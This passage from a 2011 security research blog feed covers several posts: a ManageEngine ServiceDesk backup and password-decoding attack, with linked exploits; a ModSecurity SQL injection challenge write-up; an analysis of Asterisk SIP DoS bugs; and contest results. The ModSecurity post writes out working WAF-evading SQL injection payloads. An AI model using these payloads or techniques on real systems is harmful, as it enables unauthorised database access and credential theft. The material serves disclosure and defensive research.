As any enterprise-level application, ManageEngine ServiceDesk has backup feature (according to ITIL principles;)).&lt;br /&gt;
&lt;br /&gt;
According to the system’s purpose, it’s easy to understand that backup copies include a lot of sensitive data such as identifiers and user passwords for LDAP/Active Directory/network de vices, SNMP Community Strings, etc.&lt;br /&gt;
&lt;br /&gt;
We analyze backup architecture implemented in ManageEngine ServiceDesk and found out that backup files are stored in /backup/ folder and have names like 'database_DD_MM_YYYY_HH_MM.data' for data backup copy and its content, and fullbackup_DD_MM_YYYY_HH_MM.data for backup copy with user files.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://2.bp.blogspot.com/-x2cJ4MXiLeE/ThVueHxe7HI/AAAAAAAAAAQ/s71Sz754F2I/s1600/123.jpg"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5626524773231029362" src="http://2.bp.blogspot.com/-x2cJ4MXiLeE/ThVueHxe7HI/AAAAAAAAAAQ/s71Sz754F2I/s320/123.jpg" style="cursor: hand; cursor: pointer; float: left; height: 320px; margin: 0 10px 10px 0; width: 305px;" /&gt;&lt;/a&gt;The simplest way to conduct the attack is bruteforce, but we chose another method. More efficient method – ManageEngine system log analysis was chosen to save electric power (yes, we are Greene peace followers). We quickly find details about backup procedure in the received files. Below you can find exploit that allows you to conduct the attack.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://pastebin.com/vA9753Yr"&gt;Exploit for ServiceDesk v *.* OS: Windows&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;The most valuable data such as Active Directory user passwords, stores encrypted in ManageEngine ServiceDesk application database. Of course, encryption is reversible. It is named reversible as there is a method to get source data. Below you can find code that can be used to restore passwords.&lt;/div&gt;&lt;br /&gt;
&lt;a href="http://pastebin.com/QyyLPn3m"&gt;ServiceDesk Password Encoder&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;So, the privileged user account is used for data synchronization between ManageEngine ServiceDesk and Active Directory (data is stored in tables domainlogininfo (domain user login) and passwordinfo (domain user password)), application web interface is available from the Internet, penetration testing lasts no more than 5 minutes as ManageEngine ServiceDesk application is detected.&lt;br /&gt;
&lt;br /&gt;
The Directory Traversal Vulnerability is fixed in ManageEngine ServiceDesk 8_0_0_SP-0_12_0 that is available on the vendor’s site (&lt;a href="http://www.manageengine.com/products/service-desk/"&gt;http://www.manageengine.com/products/service-desk/&lt;/a&gt;). Vendor plans to fix other vulnerabilities soon.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-7442521459012986317?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/07/servicedesk-security-or-rate.html</link><author>noreply@blogger.com (Yuri)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-c4kwUIsBk68/ThVwpw565vI/AAAAAAAAAAY/JvqUp-ntE7g/s72-c/logo.png" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-8448356313305708285</guid><pubDate>Wed, 06 Jul 2011 07:36:00 +0000</pubDate><atom:updated>2011-07-07T01:03:35.243-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">waf</category><category domain="http://www.blogger.com/atom/ns#">mod_security</category><title>Positive  Research helps to improve  Web Appliaction Firewall efficiency</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-tui1BHMFq50/ThR_0x5OnlI/AAAAAAAAAFg/4apKl9JLf70/s1600/modsecurity_.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-tui1BHMFq50/ThR_0x5OnlI/AAAAAAAAAFg/4apKl9JLf70/s1600/modsecurity_.gif" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;b&gt;Positive  Research&lt;/b&gt;, the innovative department of Positive Technologies, deserves thanks from Trustwave, WAF ModSecurity developers for Web Application Firewall research.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;On 23th of June, &lt;a href="https://www.trustwave.com/"&gt;Trustwave&lt;/a&gt;, Web Application Firewall &lt;a href="http://modsecurity.org/"&gt;ModSecurity&lt;/a&gt; developer, held open competition in testing of web application protection means. SQL Injection Challenge competitors should bypass ModSecurity filter rules that block SQL Injection attacks.&lt;br /&gt;&lt;br /&gt;The testing consisted of two stages. At the first stage, competitors should exploit SQL Injection to get data from database of test sites. The second task was more complicated: the task was the same but competitors should bypass ModSecurity filter rules and do not generate firewall events.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://modsecurity.org/demo/challenge.html"&gt;ModSecurity SQL Injection Challenge&lt;/a&gt; attracted attention of a great number of researchers, including experts of Positive Technologies innovative department - Positive Research.&lt;br /&gt;The experts are usually interested in protection means. Thus, Dmitry Evteev, Positive Research expert, suggested a universal technique how to bypass ModSecurity filtering (&lt;a href="http://ptresearch.blogspot.com/2009/11/another-fine-method-to-exploit-sql.html"&gt;http://ptresearch.blogspot.com/2009/11/another-fine-method-to-exploit-sql.html&lt;/a&gt;) in 2009. New ModSecurity version design uses the ideas.&lt;br /&gt;&lt;br /&gt;Positive Research experts successfully managed all tasks and bypassed WAF ModSecurity restrictions with the up-to-date filter rules. The developers are going to use the results to improve firewall efficiency.&lt;br /&gt;&lt;br /&gt;Alexander Anisimov, Positive Research team leader remarks: «&lt;i&gt;Web Application Firewall protects the most part of web applications from mass attacks. But our penetration testing clearly shows that Web Application Firewall version «form the box» is unable to protect systems from a great number of targeted attacks. So we believe the best way is to use WAF to eliminate detected vulnerabilities. The possible solution is to integrate compliance and vulnerability management system &lt;a href="http://ptsecurity.com/mp_kf.asp"&gt;MaxPatrol&lt;/a&gt; and Web Application Firewall ModSecurity&lt;/i&gt;».&lt;br /&gt;More details about the competition are available here: &lt;a href="http://www.modsecurity.org/demo/challenge.html"&gt;http://www.modsecurity.org/demo/challenge.html&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;Details&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://modsecurity.org/demo/challenge.html"&gt;ModSecurity SQL Injection Challenge&lt;/a&gt; held by &lt;a href="http://twitter.com/modsecurity"&gt;ModSecurity Team&lt;/a&gt;, start on 23th, June. Participants could enjoy the process, organizers could get valuable information to improve WAF ModSecurity rules. The event included two levels– Level 1 : Speed Hacking (completed) and Level 2: Filter Evasion (is always open). Every participant should exploit one of web sites protected by WAF ModSecurity and provide organizers with database structure and certain table contents to complete the level. Test servers of Acunetix, HP, IBM, Cenzic security scanners acted as vulnerable web sites.&lt;br /&gt;&lt;br /&gt;The participants should provide organizers the above-listed data and details how to get them to complete the level 1. And only then you got access to ModSecurity. This is Speed Hack itself. So, by the evening 24th of June there were no chance to have any uncompleted stages on the level 1. But, surprisingly, the participants completed level 1 only for web sites that were not hacked by the evening 24th of June. PT Research Team members easily exploit the detected &lt;a href="https://www.owasp.org/index.php/Testing_for_MS_Access"&gt;SQL Injections that use MSAccess&lt;/a&gt;. Not long after, organizers confirmed us as level 1 winners, then level 1 was closed as everything was hacked. According to organizers, they processed about 500 solutions, but no one was able to exploit SQL Injection vulnerability in MS Access database. We think the reason is its unpopularity =)&lt;br /&gt;&lt;br /&gt;Then we try to solve problem 2: exploit SQL Injection to bypass up-to-date WAF ModSecurity rules. We decide to use the method from the first stage – exploit vulnerability on the &lt;a href="http://demo.testfire.net/"&gt;IBM test site&lt;/a&gt; (IIS + ASP + MsAccess).&lt;br /&gt;&lt;br /&gt;To bypass WAF we use MS Access operators and the features of IIS and ASP association that allows us to conduct &lt;a href="https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;HTTP Parameter Pollution attack&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;We exploit SQL Injection vulnerability in test site script transaction.asp. User input is insufficiently controlled in the server script that allows attackers to conduct SQL Injection.&lt;br /&gt;Below you can find requests that are not detected by ModSecurity and allow you to get all necessary data to connect to web site database.&lt;br /&gt;&lt;br /&gt;A crafted SQL request that addresses evidently defined database, is enough to get database name. Error-based method with bruteforce technique was used to find existed databases via requests with not existed database name. Web application responses with MS Access error which indicates that the database does not exist.&lt;br /&gt;Here is an example:&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;POST: http://modsecurity.org/bank/transaction.asp&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Content:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=1 and (select 1&amp;amp;after=1 from a.c)&amp;amp;before=2—1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;We use the same method to get table titles from the current database but requests do not include evident database name.&lt;br /&gt;Here is an example:&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;POST: http://modsecurity.org/bank/transaction.asp&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Content:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=1 and (select 1&amp;amp;after=1 from users1)&amp;amp;before=2—1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Bruteforce also helps to get column names, but we also use error-based method and “group by + having 1” structure. We conduct HTTP Parameter Pollution attack to bypass ModSecurity.&lt;br /&gt;Here is an example:&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;POST: http://modsecurity.org/bank/transaction.asp&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Content:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=&amp;amp;before=1231 group by 1&amp;amp;before=transid having 1&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;We have to spend rather much time to get data from the database :) ModSecurity filter blocks almost all useful functions. But we find the solution!&lt;br /&gt;First of all, we create a special statement that allows us to detect data in database. Here is the request:&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;POST: http://modsecurity.org/bank/transaction.asp&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Content:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=1 AND (select username from users where username='admin')&amp;amp;before=d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Of course, WAF detects the statement. Top prevent it, we divide the request (select username from users where username=’user’) into several vulnerabilities.&lt;br /&gt;For example:&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=1 AND (select mid(last(username)&amp;amp;after=1&amp;amp;after=1) from users where username='admin') &amp;amp;before=d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It works but WAF filters it: exactly “mid(“ and similar character sets. We found DCount function in MSAccess manual that together with WAF allows us to exploit the vulnerability and bypass WAF. Here is an example:&lt;/div&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;POST: http://modsecurity.org/bank/transaction.asp&lt;/code&gt;&lt;br /&gt;&lt;code&gt;Content:&lt;/code&gt;&lt;br /&gt;&lt;code&gt;__VIEWSTATE=[skipped]&amp;amp;after=1 AND (select DCount(last(username)&amp;amp;after=1&amp;amp;after=1) from users where username='ad1min')&amp;amp;before=d&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You can get database data via bruteforce.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Greets goes out to&lt;/span&gt; &lt;a href="http://twitter.com/hmadrwx"&gt;Ahmad Maulana&lt;/a&gt;, &lt;a href="http://twitter.com/eelsivart"&gt;Travis Lee&lt;/a&gt;, &lt;a href="http://twitter.com/fluxreiners"&gt;Johannes Dahse&lt;/a&gt;, &lt;a href="http://twitter.com/d0znpp"&gt;Vladimir Vorontsov&lt;/a&gt;, &lt;a href="http://twitter.com/lightos"&gt;Roberto Salgado&lt;/a&gt;, &lt;a href="http://sqlmap.sourceforge.net/#developers"&gt;SQLMap Developers&lt;/a&gt;, &lt;a href="http://twitter.com/hackplayers"&gt;HackPlayers&lt;/a&gt;, &lt;a href="http://twitter.com/arbitrarycode"&gt;Alexander Zaitsev&lt;/a&gt;, &lt;a href="http://twitter.com/ygoltsev"&gt;Yuri Goltsev&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-8448356313305708285?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/07/positive-research-helps-to-improve-web.html</link><author>noreply@blogger.com (Yuri)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-tui1BHMFq50/ThR_0x5OnlI/AAAAAAAAAFg/4apKl9JLf70/s72-c/modsecurity_.gif" height="72" width="72" /><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-5568820110869859921</guid><pubDate>Mon, 04 Jul 2011 08:15:00 +0000</pubDate><atom:updated>2011-07-11T09:09:49.997-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Asterisk</category><category domain="http://www.blogger.com/atom/ns#">vulns</category><category domain="http://www.blogger.com/atom/ns#">DoS</category><title>Asterisk DoS Vulnerabilities</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-_ddM70XYScI/ThF2LK3QDeI/AAAAAAAAAFc/pLEoKsC0ACA/s1600/dos.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-_ddM70XYScI/ThF2LK3QDeI/AAAAAAAAAFc/pLEoKsC0ACA/s1600/dos.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;One of the latest internal project included heavy use of Asterisk PBX, which is the most popular open source VOIP solution nowadays.&lt;br /&gt;
&lt;b&gt;Positive Research&lt;/b&gt; decided to check Asterisk's implementation of SIP protocol from security perspective. First things first and we used &lt;b&gt;PROTOS&lt;/b&gt; test suite specifically developed for SIP testing. Test base includes checks for overflows, format strings, utf processing and more - you can check the whole list at their website (&lt;a href="https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c07-sip"&gt;https://www.ee.oulu.fi/research/ouspg/PROTOS_Test-Suite_c07-sip&lt;/a&gt;).&lt;br /&gt;
This resulted in two denial of service vulnerabilities being found. Both of them were on their way to the vendor when we discovered that while we were preparing the advisories they were already reported by internal staff of Digium. The vulnerabilities affected version of 1.8.x to 1.8.4.3.&lt;br /&gt;
Security fixed version 1.8.4.4 is already provided at the Asterisk website. Let's look at the details of both vulnerabilities to understand better the nature of software security flaws.&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
First bug triggers when Asterisk recieves SIP request with malformed Contact field. RFC3261 SIP - Session Initiation Protocol: "The Contact header field provides a SIP or SIPS URI that can be used...". SIP URI in Contact field should be provided in brackets: "Contact: &lt;bob@host&gt;".&lt;/bob@host&gt;&lt;br /&gt;
Removing the left bracket of URI record and sending the request to Asterisk leads to a crash. PBX fails to correctly parse the contact information from the string without proper brackets. Source code snippets from channels/sip/reqresp_parser.c with bug details:&lt;br /&gt;
&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;get_in_brackets_full()&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;{&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char *first_bracket;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; char *second_bracket;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (out) {*out = "";}&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; while ( (first_bracket = strchr(parse, '&amp;lt;')) ) {&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;/* no &amp;lt;, no while body&amp;nbsp;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt; */&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ((second_bracket = strchr(parse, '&amp;gt;'))) {&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *second_bracket++ = '\0';&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (out) {&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; /* found &amp;gt; and&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;* out = NULL as first_bracket is&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp;*/&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *out = first_bracket;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;return 0; /* leaving here*/&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;br /&gt;
&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;/* error checking/return misplaced */&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if ((first_bracket)) {&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ast_log(LOG_WARNING, "No closing bracket found in '%s'\n", tmp);&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return -1;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;}&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Second vulnerability exists in the process of reading SIP packet from socket and copying it to internal structures. Pseudo code of socket data reading and filling the request structure:&lt;br /&gt;
&lt;code&gt;&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;recieved_length = read_socket(&amp;amp;buffer)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;copy(sip_request.data, buffer)&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;sip_request.length = recieved_length&lt;/code&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can see that data field of sip_request structure contains the actual data being sent to PBX. Copy process from buffer to data variable is done by vsnprintf function and is restricted by constant size, while the size sip_request.length is inherited from data captured directly from the wire. By inserting null-byte terminators into the message the length of data copied is smaller than assigned length to request structure. Later usage of sip_request.length leads to memory corruption which results in numerous faults.&lt;br /&gt;
&lt;br /&gt;
Additional information can be found&amp;nbsp;&lt;b&gt;&lt;a href="https://twitter.com/#!/repdet/status/85984351942213632"&gt;here&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Author:&lt;/b&gt;&lt;span class="Apple-style-span" style="font-family: Calibri, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-size: 15px;"&gt;&amp;nbsp;Gleb Gritsai, Positive Research Center&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8549938467002440724-5568820110869859921?l=ptresearch.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://ptresearch.blogspot.com/2011/07/asterisk-dos-vulnerabilities.html</link><author>noreply@blogger.com (Positive Research)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-_ddM70XYScI/ThF2LK3QDeI/AAAAAAAAAFc/pLEoKsC0ACA/s72-c/dos.jpg" height="72" width="72" /><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8549938467002440724.post-127307793642161184</guid><pubDate>Tue, 31 May 2011 11:14:00 +0000</pubDate><atom:updated>2011-07-06T07:14:00.339-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">phd2011</category><category domain="http://www.blogger.com/atom/ns#">phdays</category><category domain="http://www.blogger.com/atom/ns#">0day</category><title>Preliminary Results of Positive Hack Days</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The &lt;a href="http://phdays.com/"&gt;Positive Hack Days&lt;/a&gt; forum, which took place in Moscow on May 19, gathered a variety of representatives of information security industry. By estimations, the forum was visited by more than 500 persons, including representatives of state structures, technical specialists, top managers in the IT field, independent experts, and hackers.&lt;br /&gt;
&lt;br /&gt;
Two programs were conducted simultaneously: a business program, which included seminars and master-classes, and a hacking contest program. The organizers sum up the preliminary results. &lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PHD CTF Contest&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The forum included the &lt;a href="http://phdays.com/ctf_general.asp"&gt;PHD CTF&lt;/a&gt; open international information security contest. &lt;a href="http://phdays.com/ctf_participants.asp"&gt;Ten teams&lt;/a&gt; from Russia, USA, India, and Europe have been protecting their networks and attacking the networks of their rivals for 8 hours. There were a prepared number of vulnerabilities that exist in modern information systems (e.g., SCADA systems, etc.). The aim of the contestants was to detect vulnerabilities, fix them on their servers and exploit the vulnerabilities to obtain sensitive information from the competitor teams.&lt;br /&gt;
&lt;br /&gt;
According to the results of the contest, the &lt;a href="http://ppp.cylab.cmu.edu/wordpress/"&gt;PPP team&lt;/a&gt; (Pittsburgh, USA) won by a wide margin and was awarded with 5 thousand dollars.  One of the PPP members said, "It’s not our first experience of participating in a CTF contest, but in the PHD CTF it was the first time when we were not only to attack other teams’ resources, but also to protect our own resources. We will be glad to take part in the contest the next year." Second and third places were taken by Russian teams &lt;a href="http://leetmore.ctf.su/"&gt;Leet More&lt;/a&gt; (Saint Petersburg) and &lt;a href="http://www.hackerdom.ru/NullPage"&gt;HackerDom&lt;/a&gt; (Yekaterinburg).&lt;br /&gt;
&lt;br /&gt;
Boris Simis, Business Development Director at &lt;a href="http://www.ptsecurity.com/"&gt;Positive Technologies&lt;/a&gt;, noted, "The PHD CTF is the first contest of such scale, conducted in Russia. Whereas in USA, Canada and Europe similar contests have been held for a very long time. It is connected with the fact that the first place was taken by the team from the USA, the country where information security issues are taken very seriously. We are sure that it was interesting for Russian participants of the PHD CTF to contend with foreign teams, and we are happy to welcome everybody the next year." &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Contest Program&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Hacking Safari&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The forum included specific &lt;a href="http://phdays.com/contests.asp"&gt;hacking contests&lt;/a&gt;. Thus, in the &lt;a href="http://phdays.com/contests.asp#5"&gt;laptop hacking contest&lt;/a&gt;, specialists were able to detect a so called zero-day vulnerability (a vulnerability which was not known before) and exploited it to demonstrate that the latest version of the Safari web browser for Windows can be hacked. The contest was won by the &lt;a href="http://cisscompany.com/"&gt;CISSRT&lt;/a&gt; information security specialists.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Hacking iPad&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In the analogous contest the participants formally failed to &lt;a href="http://phdays.com/contests.asp#4"&gt;hack an iPad&lt;/a&gt;, because the program for exploiting a software vulnerability (the exploit) written by them did not work stably. Nevertheless, the CISSRT specialists proved the existence of the vulnerability in the mobile version of Safari during the qualification round of the contest, and the failure during the contest itself was due to the difficulties with the exploit only.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;To Drunk to Hack&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The "&lt;a href="http://phdays.com/contests.asp#3"&gt;Too Drunk to Hack&lt;/a&gt;" contest was conducted at the end of the contest program. The participants of the contest were offered to hack a copy of the forum website &lt;a href="http://phdays.com/"&gt;www.phdays.com&lt;/a&gt;. In case of a mistake, a contestant was to drink 50 grams of tequila. Russian and foreign guests of the forum of the full legal age took part in the contest. &lt;a href="https://twitter.com/d0znpp"&gt;Vladimir Vorontsov&lt;/a&gt;, information security expert at onsec.ru became the winner. After six mistakes he managed to find all the required vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Fox Hunting&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In &lt;a href="http://phdays.com/contests.asp#8"&gt;this contest&lt;/a&gt; the contestants were to find a wireless access point, which was constantly moving around the place during the whole day. It is remarkable, that one of the contest winners was a young lady. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;To Hack in 900 Seconds&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The participants were to successively &lt;a href="http://phdays.com/contests.asp#6"&gt;hack network&lt;/a&gt; equipment (switches) in 6 stages. The contestants actively used the hints, provided by &lt;a href="http://twitter.com/alukatsky"&gt;Alexey Lukatsky&lt;/a&gt;, the representative of Cisco Systems. The winner of the contest is a participant with an ambiguous nickname "003".&lt;br /&gt;
&lt;br /&gt;
The organizer of the contests program and Positive Technologies expert &lt;a href="http://devteev.blogspot.com/"&gt;Dmitry Evteev&lt;/a&gt; commented, "The specialists that took part in the contests were very good, they coped with many challenging problems. It should be noted, that some tasks were too difficult for the participants, but it was rather due to general tiredness, accumulated during the day of informative program of the forum. Generally, I’m glad that the level of training of Russian specialists is no worse than the level of the foreigners."&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Business Program&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Leading specialists of Russian IT market from &lt;a href="http://www.kaspersky.com/"&gt;Kaspersky Lab&lt;/a&gt;, &lt;a href="http://www.cisco.com/"&gt;Cisco Systems&lt;/a&gt;, &lt;a href="http://www.risspa.ru/"&gt;RISSPA&lt;/a&gt;, &lt;a href="http://www.fstec.ru/"&gt;Federal Service for Technical and Export Control&lt;/a&gt;, &lt;a href="http://www.rt.ru/en/"&gt;Rostelecom&lt;/a&gt;, &lt;a href="http://www.vimpelcom.com/"&gt;VimpelCom&lt;/a&gt;, etc. presented their reports at technical and business workshops.&lt;br /&gt;
&lt;br /&gt;
